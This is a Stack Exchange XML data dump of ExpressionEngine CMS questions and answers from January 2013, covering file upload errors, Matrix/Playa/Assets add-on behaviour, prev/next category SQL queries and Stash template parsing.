  <row Id="5366" PostTypeId="2" ParentId="5365" CreationDate="2013-01-24T17:04:23.330" Score="1" Body="&lt;p&gt;Brad ended up figuring this one out:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&quot;The images that were selected by the Super Admin are all coming from&#xA;  the &quot;Event Images&quot; upload folder (specifically the&#xA;  2008_Madison_Symposium subfolder) and the &quot;outreach&quot; member group does&#xA;  not have permissions to upload to that folder.&quot;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Assets should still have let them view those images - and that will be fixed in a future release.  The workaround for now is to give that member group permission to that event images file upload preference.&lt;/p&gt;&#xA;" OwnerUserId="563" LastEditorUserId="563" LastEditDate="2013-01-29T22:46:20.200" LastActivityDate="2013-01-29T22:46:20.200" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5367" PostTypeId="2" ParentId="4743" CreationDate="2013-01-24T17:10:08.273" Score="1" Body="&lt;p&gt;I've done this before by removing the javascript sort function in my own addon's jquery file.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$('table.mainTable &amp;gt; thead th.no-sort').unbind();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="827" LastActivityDate="2013-01-24T17:10:08.273" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5368" PostTypeId="2" ParentId="5345" CreationDate="2013-01-24T17:11:57.217" Score="2" Body="&lt;p&gt;I accomplish this all the time with a Matrix field and &lt;a href=&quot;http://ee-garage.com/nsm-transplant&quot; rel=&quot;nofollow&quot;&gt;NSM Transplant&lt;/a&gt;. Basically, you upload your images row-by-row in a Matrix field, then insert tokens (like &lt;code&gt;{image_1}&lt;/code&gt;, &lt;code&gt;{image_2}&lt;/code&gt;, etc) into your content area where you want the images to appear. NSM Transplant then replaces these with your images when rendered on the front-end.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://vimeo.com/18661374&quot; rel=&quot;nofollow&quot;&gt;This tutorial video&lt;/a&gt; should give you an idea of how to do this. (Some of the add-ons it uses are outdated now, like ED ImageResizer, but you can substitute similar current add-ons with ease.)&lt;/p&gt;&#xA;" OwnerUserId="55" LastActivityDate="2013-01-24T17:11:57.217" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5369" PostTypeId="1" AcceptedAnswerId="5394" CreationDate="2013-01-24T17:30:40.470" Score="3" ViewCount="283" Body="&lt;p&gt;This is an EE1 site. Whenever I try to upload a PDF I get an error message saying that there was a problem uploading this file. The permissions on the server are still set to 777 and the XSS filtering is off. I have no idea what else it could be.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the exact error message:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;PDF – There was a problem uploading ‘TEST.pdf’&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="890" LastEditorUserId="77" LastEditDate="2013-01-25T11:53:53.377" LastActivityDate="2013-01-25T11:59:29.937" Title="Having trouble uploading PDFs to a channel" Tags="|ee1|file-uploads|xss|" AnswerCount="1" CommentCount="10" ContentLicense="CC BY-SA 3.0" />
  <row Id="5370" PostTypeId="2" ParentId="5257" CreationDate="2013-01-24T17:56:00.360" Score="3" Body="&lt;p&gt;I cannot replicate this in EE 2.5.5. I tested all 3 variations OP suggested, plus tried single quotes instead of double quotes. The field I tested it against was a File field.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I believe it just depends on the fieldtype.&lt;/p&gt;&#xA;" OwnerUserId="827" LastActivityDate="2013-01-24T17:56:00.360" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5371" PostTypeId="1" CreationDate="2013-01-24T18:03:37.533" Score="1" ViewCount="285" Body="&lt;p&gt;I'm on EE2.5.3 using playa 4.3.3 and matrix 2.5.3 with the code below. My understanding is the children tag should take into consideration the status of the parent and not return children for a closed parent entry. However, I'm getting exactly that. The tag is returning children for parents with a closed status. I've checked to make sure the parent status is closed, entry date is in the past.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this a bug or a problem with my code?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    {exp:playa:children col=&quot;warranty_item_subscontractor&quot; dynamic=&quot;no&quot; orderby=&quot;title&quot; sort=&quot;asc&quot;} &#xA;         &amp;lt;li&amp;gt;{title} &amp;amp;rarr; {exp:playa:total_parents} warranty {if {exp:playa:total_parents} == 1}item{if:else}items{/if}&amp;lt;/li&amp;gt;&#xA;    {if no_results}&amp;lt;li&amp;gt;There are no outstanding subcontractor items&amp;lt;/li&amp;gt;{/if} &#xA;    {/exp:playa:children}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Here's some of the output. Both ASD Systems and Beverly Northwest are children whose parent entry is closed and shouldn't be returned.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;ACCENTS &amp;amp; INTERIORS, INC. → 8 warranty items&lt;/p&gt;&#xA;&#xA;&lt;p&gt;AMERICA 1ST ROOFING → 2 warranty items&lt;/p&gt;&#xA;&#xA;&lt;p&gt;ASD SYSTEMS, INC. → 0 warranty items&lt;/p&gt;&#xA;&#xA;&lt;p&gt;BEVERLY NORTHWEST, INC. → 0 warranty items&lt;/p&gt;&#xA;" OwnerUserId="857" LastEditorUserId="857" LastEditDate="2013-01-24T21:17:00.113" LastActivityDate="2013-01-25T01:02:18.070" Title="Matrix playa field children tag not honoring status" Tags="|matrix|playa|status|" AnswerCount="2" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="5374" PostTypeId="1" CreationDate="2013-01-24T18:51:11.337" Score="3" ViewCount="397" Body="&lt;p&gt;I have sites A and B&#xA;Each site has it's own uploads directory, and I have the upload preferences set dynamically:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$config['upload_preferences'] = array(&#xA;        1 =&amp;gt; array(                                                            // ID of upload destination&#xA;            'name'        =&amp;gt; 'A Images',                          // Display name in control panel&#xA;            'server_path' =&amp;gt; $_SERVER['DOCUMENT_ROOT'] . '/files/uploads/', // Server path to upload directory&#xA;            'url'         =&amp;gt; '/files/uploads/'      // URL of upload directory&#xA;        ),&#xA;        2 =&amp;gt; array(                                                            // ID of upload destination&#xA;            'name'        =&amp;gt; 'B Images',                          // Display name in control panel&#xA;            'server_path' =&amp;gt; $_SERVER['DOCUMENT_ROOT'] . '/files/uploads/', // Server path to upload directory&#xA;            'url'         =&amp;gt; '/files/uploads/'      // URL of upload directory&#xA;        )&#xA;    );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;so if you are logged into the individual MSM sites control panel (a.com/admin.php), you should be able to upload images to that relative path. I can upload them to the folder via FTP, and then index them via assets and they become available to select, but the thumbnails do not show up.&#xA;so 2 issues:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;I can't upload on sibling MSM sites using their respective document roots for upload paths&lt;/li&gt;&#xA;&lt;li&gt;When viewing files that are indexed in assets, no thumbnails appear in file browser&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="322" LastActivityDate="2013-01-24T18:56:29.110" Title="Assets and MSM won't upload/display" Tags="|assets|multi-site-manager|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="5375" PostTypeId="2" ParentId="5374" CreationDate="2013-01-24T18:56:29.110" Score="1" Body="&lt;p&gt;Have you looked at there possibly being problems with openbase_dir restrictions affecting that? I have generally found with MSM upload errors and images not working correctly have been due to openbase_dir restrictions. &lt;/p&gt;&#xA;" OwnerUserId="15" LastActivityDate="2013-01-24T18:56:29.110" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5376" PostTypeId="1" CreationDate="2013-01-24T19:01:41.037" Score="1" ViewCount="135" Body="&lt;p&gt;I updated to matrix 2.5.3 from version 2.4.3 on my mamp test setup and notice the following issues.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On the prior version matrix was outputting prices using a comma for the thousands_sep parameter. The new version of matrix no longer outputs the comma and in addition, adds decimal places:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Version 2.4.3 output&lt;/strong&gt;: $279,950&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Version 2.5.3 output&lt;/strong&gt;: $279950.00&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I notice the decimal settings now in the matrix field setup which I've used to remove the decimal places. However, I cannot find a way to get matrix 2.5.3 to use the thousands_sep as it was previously. Any solutions?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the code, which did not change. neighborhood_plan_price is the variable in question:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;                    &amp;lt;tbody&amp;gt;&#xA;                    {exp:channel:entries channel=&quot;neighborhood&quot; dynamic=&quot;no&quot; sort=&quot;asc&quot; orderby=&quot;neighborhood_city&quot; status=&quot;Not Closed&quot; disable=&quot;categories|category_fields|member_data|pagination&quot;}&#xA;                    &amp;lt;tr url=&quot;{path='neighborhood-detail/{url_title}'}&quot;&amp;gt;&#xA;                        &amp;lt;td&amp;gt;&amp;lt;a href=&quot;{path='neighborhood-detail/{url_title}'}&quot;&amp;gt;{title}&amp;lt;/a&amp;gt;&amp;lt;/td&amp;gt;&#xA;                        &amp;lt;td&amp;gt;{neighborhood_city}, {neighborhood_state}&amp;lt;/td&amp;gt;&#xA;                                {if status == &quot;Coming Soon&quot;}&#xA;                                &amp;lt;td&amp;gt;Coming soon&amp;lt;/td&amp;gt;&#xA;                                {if:elseif status == &quot;Sold Out&quot;}&#xA;                                &amp;lt;td&amp;gt;Sold Out&amp;lt;/td&amp;gt;&#xA;                                {if:else}&#xA;                                &amp;lt;td class=&quot;dollar&quot;&amp;gt;{neighborhood_plans limit=&quot;1&quot;}{neighborhood_plan_price}{/neighborhood_plans}&amp;lt;/td&amp;gt;&#xA;                                {/if}&#xA;                    &amp;lt;/tr&amp;gt;&#xA;                    {/exp:channel:entries}  &#xA;                &amp;lt;/tbody&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/A7o6b.png&quot; alt=&quot;Matrix field setup in version 2.5.3&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="857" LastEditorUserId="857" LastEditDate="2013-01-24T19:23:32.027" LastActivityDate="2013-01-24T19:23:32.027" Title="Matrix 2.5.3 thousands_sep and decimals" Tags="|matrix|" AnswerCount="0" CommentCount="11" ClosedDate="2013-11-25T15:59:32.557" ContentLicense="CC BY-SA 3.0" />
  <row Id="5377" PostTypeId="1" AcceptedAnswerId="5378" CreationDate="2013-01-24T19:06:28.173" Score="3" ViewCount="142" Body="&lt;p&gt;Has anyone ever heard of anything that would control content based on IP range?&#xA;I am looking to regionalize content for a site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;ie: regionalized promotions offered in a certain area are displayed based on your IP&lt;/p&gt;&#xA;" OwnerUserId="451" LastActivityDate="2013-01-24T19:33:09.163" Title="Content restriction based on IP range" Tags="|permissions|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5378" PostTypeId="2" ParentId="5377" CreationDate="2013-01-24T19:07:39.010" Score="3" Body="&lt;p&gt;There's a bunch of plugins that do this: &lt;a href=&quot;http://devot-ee.com/search/tags/tag/ip&quot; rel=&quot;nofollow&quot;&gt;http://devot-ee.com/search/tags/tag/ip&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope that helps!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I did some research and found that you can do exactly what you want with this plugin: &lt;a href=&quot;http://devot-ee.com/add-ons/ipgeo&quot; rel=&quot;nofollow&quot;&gt;http://devot-ee.com/add-ons/ipgeo&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;and this logic&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if &quot;{exp:ipgeo:country}&quot; == &quot;United States&quot;}US featured content{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Cheers!&lt;/p&gt;&#xA;" OwnerUserId="117" LastEditorUserId="117" LastEditDate="2013-01-24T19:33:09.163" LastActivityDate="2013-01-24T19:33:09.163" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5380" PostTypeId="2" ParentId="5371" CreationDate="2013-01-24T20:05:16.273" Score="0" Body="&lt;p&gt;The &quot;status&quot; on the children tag says &quot;only show children whose status is 'Open'&quot;.  It doesn't apply to the parent.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You might be able to pull it off with a nested: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:playa:parents entry_id=&quot;{entry_id}&quot; status=&quot;Open&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;inside the children tag.&lt;/p&gt;&#xA;" OwnerUserId="8" LastActivityDate="2013-01-24T20:05:16.273" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="5381" PostTypeId="2" ParentId="5349" CreationDate="2013-01-24T20:46:34.077" Score="1" Body="&lt;p&gt;When you paste directly into &quot;Source&quot; mode and hit submit, CKEditor doesn't get a chance to encode any HTML entities so they get passed to Wygwam unencoded.  If you paste in source mode, switch to WYSIWYG mode, then submitted it would encode them.  Alternatively, you could probably just use the &quot;Paste as Plain Text&quot; button from WYSIWYG mode and it would work, too.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's working for you the 2nd time around because Wygwam defaults to WYSIWYG mode.&lt;/p&gt;&#xA;" OwnerUserId="8" LastActivityDate="2013-01-24T20:46:34.077" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5382" PostTypeId="1" AcceptedAnswerId="5384" CreationDate="2013-01-24T21:31:10.530" Score="4" ViewCount="191" Body="&lt;p&gt;There are some great options to do prev/next entries (Advanced Prev/Next, Nearby Entries, etc.) but I could not find an add-on or an EE-native way to do a &quot;Go to Next Category&quot; and/or &quot;Go to Previous Category&quot;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Am I missing something obvious?&lt;/p&gt;&#xA;" OwnerUserId="323" LastActivityDate="2013-01-25T13:47:03.237" Title="Creating a prev/next CATEGORY links" Tags="|navigation|categories|links|" AnswerCount="2" CommentCount="0" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5383" PostTypeId="2" ParentId="5382" CreationDate="2013-01-24T21:51:08.627" Score="1" Body="&lt;p&gt;I wrote some code a while back that stepped through categories to generate lists the way I wanted them. While &lt;code&gt;{exp:query}&lt;/code&gt; is the go-to solution for a lot of category interaction, you can't just use SQL to get these, you need to follow the logic that EE uses to order them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can check out the &lt;a href=&quot;https://github.com/circa1977/sk.recursive_subcategories.ee_addon&quot; rel=&quot;nofollow&quot;&gt;recursive subcategories&lt;/a&gt; add-on on Github if you want to try to whip up a plugin that does the same. There's a link to a fork that ports it to EE2.&lt;/p&gt;&#xA;" OwnerUserId="293" LastActivityDate="2013-01-24T21:51:08.627" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5384" PostTypeId="2" ParentId="5382" CreationDate="2013-01-24T23:12:30.510" Score="3" Body="&lt;p&gt;As mentioned, you can easily do this with the &lt;code&gt;query&lt;/code&gt; module. I've done something very similar, but you could pass the needed variables to an embed to get the prev/next category.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[removed] see updated answer below&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h3&gt;Update&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;Depending on how your categories are ordered (alphabetical or custom) &amp;amp; nested a few more variables are needed. You will need to use an add-on like &lt;a href=&quot;http://gwcode.com/add-ons/gwcode-categories&quot; rel=&quot;nofollow&quot;&gt;GWcode Categories&lt;/a&gt; to get the necessary variables for a query, specifically &lt;code&gt;cat_order&lt;/code&gt;, which GWcode gets.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Parent Template:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:gwcode_categories&#xA;    cat_url_title=&quot;{segment_3}&quot;&#xA;    limit=&quot;1&quot;&#xA;}&#xA;    {embed=&quot;some/template&quot; cat_url_title=&quot;{cat_url_title}&quot; group_id=&quot;{cat_group_id}&quot; parent_id=&quot;{parent_id}&quot; cat_order=&quot;{cat_order}&quot;}&#xA;{/exp:gwcode_categories}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Embded&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:query sql=&#xA;&quot;SELECT &#xA;    cat_url_title as prev_cat_url_title, &#xA;    cat_name as prev_cat_title&#xA;FROM exp_categories &#xA;WHERE cat_url_title &amp;lt;&amp;gt; '{embed:cat_url_title}'&#xA;AND parent_id = {embed:parent_id}&#xA;AND group_id = {embed:group_id}&#xA;AND cat_order = {emebd:cat_order} - 1&#xA;LIMIT 1&quot;&#xA;}&#xA;&amp;lt;a href=&quot;../{prev_cat_url_title}/&quot;&amp;gt;{prev_cat_title}&amp;lt;/a&amp;gt;&#xA;{/exp:query}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;For next category, change the &lt;code&gt;cat_order&lt;/code&gt; clause to:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;AND cat_order = {emebd:cat_order} + 1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="209" LastEditorUserId="209" LastEditDate="2013-01-25T13:47:03.237" LastActivityDate="2013-01-25T13:47:03.237" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="5385" PostTypeId="1" AcceptedAnswerId="5475" CreationDate="2013-01-25T00:04:03.040" Score="1" ViewCount="182" Body="&lt;p&gt;Assets 2.0.3; EE 2.5.5&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My Assets field is inside a Matrix cell. The Matrix field is named &lt;code&gt;index_slides&lt;/code&gt;, and the Assets cell is named &lt;code&gt;full&lt;/code&gt;. I want to output just the filename of the file (myfile.jpg). Here's the code I'm using:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{index_slides}&#xA;    {full}&#xA;        &amp;lt;p&amp;gt;The name of this file is {filename}&amp;lt;/p&amp;gt;&#xA;    {/full}&#xA;{/index_slides}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Instead of outputting &quot;myfile.jpg&quot; as expected, it outputs the full file path (&quot;http://mysite.com/my/upload/dir/myfile.jpg&quot;), which should be what the &lt;code&gt;{url}&lt;/code&gt; variable is for.&lt;/p&gt;&#xA;" OwnerUserId="5" LastActivityDate="2013-01-28T16:55:42.740" Title="{filename} Variable Outputting Full Path" Tags="|assets|matrix|" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="5386" PostTypeId="2" ParentId="5371" CreationDate="2013-01-25T01:02:18.070" Score="1" Body="&lt;p&gt;Adding a conditional for total_parents gets the results I need. However, I'd love it if the children tag honored the parent status.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;        {exp:playa:children col=&quot;warranty_item_subscontractor&quot; orderby=&quot;title&quot; sort=&quot;asc&quot;}&#xA;    {if {exp:playa:total_parents} &amp;gt;= 1}&#xA;             &amp;lt;li&amp;gt;{title} &amp;amp;rarr; {exp:playa:total_parents} warranty {if {exp:playa:total_parents} == 1}item{if:else}items{/if}&amp;lt;/li&amp;gt;&#xA;             {/if}&#xA;        {if no_results}&amp;lt;li&amp;gt;There are no outstanding subcontractor items&amp;lt;/li&amp;gt;{/if} &#xA;    {/exp:playa:children}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="857" LastActivityDate="2013-01-25T01:02:18.070" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5387" PostTypeId="2" ParentId="5335" CreationDate="2013-01-25T01:37:20.657" Score="1" Body="&lt;p&gt;Why not have a Playa field in Foo that allows you to choose multiple Images entries? (Instead of relating Foo to Images)&lt;/p&gt;&#xA;" OwnerUserId="293" LastActivityDate="2013-01-25T01:37:20.657" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="5388" PostTypeId="2" ParentId="5290" CreationDate="2013-01-25T06:48:09.693" Score="1" Body="&lt;p&gt;It could be any number of things, PHP memory limit, PHP version change (this would be my guess), .htaccess&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you've moved server then it's most likely running a newer version of PHP and if I remember rightly EE1 won't work past a certain PHP version.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd compare the versions, check the difference in memory and perhaps temporarily remove the htaccess file.&lt;/p&gt;&#xA;" OwnerUserId="146" LastActivityDate="2013-01-25T06:48:09.693" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5389" PostTypeId="2" ParentId="5332" CreationDate="2013-01-25T08:22:42.580" Score="0" Body="&lt;p&gt;Here's a gist of the approach I mentioned in the GetSat thread: &lt;a href=&quot;https://gist.github.com/4632695&quot; rel=&quot;nofollow&quot;&gt;https://gist.github.com/4632695&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That should give you a good starting point.&lt;/p&gt;&#xA;" OwnerUserId="172" LastActivityDate="2013-01-25T08:22:42.580" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5390" PostTypeId="2" ParentId="5312" CreationDate="2013-01-25T09:09:24.310" Score="0" Body="&lt;p&gt;Simon,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;currently that is not possible, but you can wrap the safecracker form in an element with an id specified and then apply some CSS overrides based on that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We have discussed better Safecracker support, but we'll have to see how it pans out - we have a couple of ideas that should make people excited - we just have to finalize them and then implement them.&lt;/p&gt;&#xA;" OwnerUserId="722" LastActivityDate="2013-01-25T09:09:24.310" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5391" PostTypeId="1" AcceptedAnswerId="5396" CreationDate="2013-01-25T09:15:32.803" Score="2" ViewCount="857" Body="&lt;p&gt;I'm listing courses by a custom date field, but some courses are &quot;on demand&quot; and doesn't have a specific time. When using orderby=&quot;custom_field&quot; and sort=&quot;asc&quot; all the courses without a date shows up first in the list. How can I get them to show up at the end instead?&lt;/p&gt;&#xA;" OwnerUserId="530" LastEditorUserId="28" LastEditDate="2013-01-26T04:29:29.203" LastActivityDate="2013-09-04T12:33:00.730" Title="Order entries by custom date field, with empty date-entries last in list" Tags="|custom-fields|entry|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5392" PostTypeId="2" ParentId="5276" CreationDate="2013-01-25T09:35:15.023" Score="2" Body="&lt;p&gt;So after a little bit of rummaging around on the EE site and some intuition I found this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;this.Commands.insertHTML();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="836" LastActivityDate="2013-01-25T09:35:15.023" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5393" PostTypeId="2" ParentId="5345" CreationDate="2013-01-25T10:42:51.753" Score="2" Body="&lt;p&gt;In addition to the options already listed, Hop Studios has created an &quot;Inject&quot; addon to do exactly what is being asked (just float the inserted element):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://devot-ee.com/add-ons/hop-inject&quot; rel=&quot;nofollow&quot;&gt;http://devot-ee.com/add-ons/hop-inject&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="460" LastActivityDate="2013-01-25T10:42:51.753" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5394" PostTypeId="2" ParentId="5369" CreationDate="2013-01-25T11:59:29.937" Score="1" Body="&lt;p&gt;Having searched an old EE 1 site's source it looks as though that's an error triggered by Mark Huot's File fieldtype. Here's the corresponding code snippet from ext.mh_file_ext.php:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;foreach($file_tmp_names as $file_key=&amp;gt;$file_tmp_name)&#xA;{&#xA;    if(@move_uploaded_file($file_tmp_name, $server_path.$file_names[$file_key]) === FALSE)&#xA;    {&#xA;        $errors[] = str_replace(array('%{field}', '%{file}'), array($file_field['field_label'], $file_names[$file_key]), $LANG-&amp;gt;line('error_transfer'));&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Presumably you have an invalid path configured somewhere or this is a permissions issue. If you remove the &lt;code&gt;@&lt;/code&gt; before &lt;code&gt;move_uploaded_file&lt;/code&gt; that will disable error suppression and you should see a PHP error that details exactly why the upload has failed.&lt;/p&gt;&#xA;" OwnerUserId="77" LastActivityDate="2013-01-25T11:59:29.937" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5395" PostTypeId="2" ParentId="5321" CreationDate="2013-01-25T12:20:10.037" Score="4" Body="&lt;p&gt;There are two problems here. First, at the point you try to use &lt;code&gt;dofoco-favorites&lt;/code&gt; it doesn't exist yet. Second, without using &lt;code&gt;parse_tags=&quot;yes&quot;&lt;/code&gt; when setting the list, the enclosed channel entries tag won't get parsed and the list won't be generated in order to be captured.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I keep banging on about peeling onions, but it's a helpful metaphor when thinking about how the EE template class parses module tags: from the outwards inwards, one layer of tags with each pass.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are various ways to subvert parse order with Stash, but in this case the &lt;code&gt;parse_tags=&quot;yes&quot;&lt;/code&gt; parameter is the simplest. Using it you can parse any enclosed tags to whatever depth you like (determined by &lt;code&gt;parse_depth=&quot;x&quot;&lt;/code&gt;).&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{!-- capture the entry_ids, making sure the enclosed tag is fully parsed --}&#xA;{exp:stash:set name=&quot;dofoco-favorites&quot; parse_tags=&quot;yes&quot;}{exp:shortlist:view}{entry_id}|{/exp:shortlist:view}{/exp:stash:set}&#xA;&#xA;{!-- capture the list items. We can access Stash vars like this {stash:my_var} --}&#xA;{exp:stash:set_list name=&quot;favorite_list&quot; parse_tags=&quot;yes&quot;}&#xA;    {exp:channel:entries &#xA;         status=&quot;not closed&quot; &#xA;         entry_id=&quot;{stash:dofoco-favorites}0&quot; &#xA;         dynamic=&quot;no&quot;&#xA;    }               &#xA;           {stash:favorite_thumbs}&amp;lt;li&amp;gt;{title}&amp;lt;/li&amp;gt;{/stash:favorite_thumbs}                              &#xA;    {/exp:channel:entries}&#xA;{/exp:stash:set_list}&#xA;&#xA;{exp:stash:get_list name=&quot;favorite_list&quot;}&#xA;    {favorite_thumbs}&#xA;{/exp:stash:get_list} &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="289" LastActivityDate="2013-01-25T12:20:10.037" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5396" PostTypeId="2" ParentId="5391" CreationDate="2013-01-25T13:06:43.420" Score="3" Body="&lt;p&gt;You may have to run two Channel Entries loops to do this, since the empty fields are essentially treated as &lt;code&gt;0&lt;/code&gt;, so they will always come first in an ascending order.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First, to get your entries which &lt;em&gt;have&lt;/em&gt; a custom date:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=:courses&quot; orderby=&quot;course_date&quot; sort=&quot;asc&quot; search:course_date=&quot;not IS_EMPTY&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then grab those which do &lt;em&gt;not&lt;/em&gt; have a custom date:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;courses&quot; orderby=&quot;title&quot; sort=&quot;asc&quot; search:course_date=&quot;IS_EMPTY&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="55" LastActivityDate="2013-01-25T13:06:43.420" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="5397" PostTypeId="1" AcceptedAnswerId="5399" CreationDate="2013-01-25T14:34:28.493" Score="2" ViewCount="577" Body="&lt;p&gt;The site I'm currently building has a dynamic sidebar. I want the user to make a decision about  what gets displayed in the sidebar in the channel content. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am currently using structure, so I have a channel called pages. Under that I wish to have a tabs which allows the user to select different widget options and order them. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I also need the ability to add my own custom widgets.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have tried the add on &lt;strong&gt;widgets&lt;/strong&gt; but this seems to only allows me to set up different widget categories and i dont feel doing one for each page would make editing of the page clear to the end user.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any thoughts on add ons or if the widgets addon can be added to the channel field options.&lt;/p&gt;&#xA;" OwnerUserId="836" LastActivityDate="2013-01-25T16:10:17.497" Title="Sidebar widget selector in pages channel using structure" Tags="|structure|dynamic|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
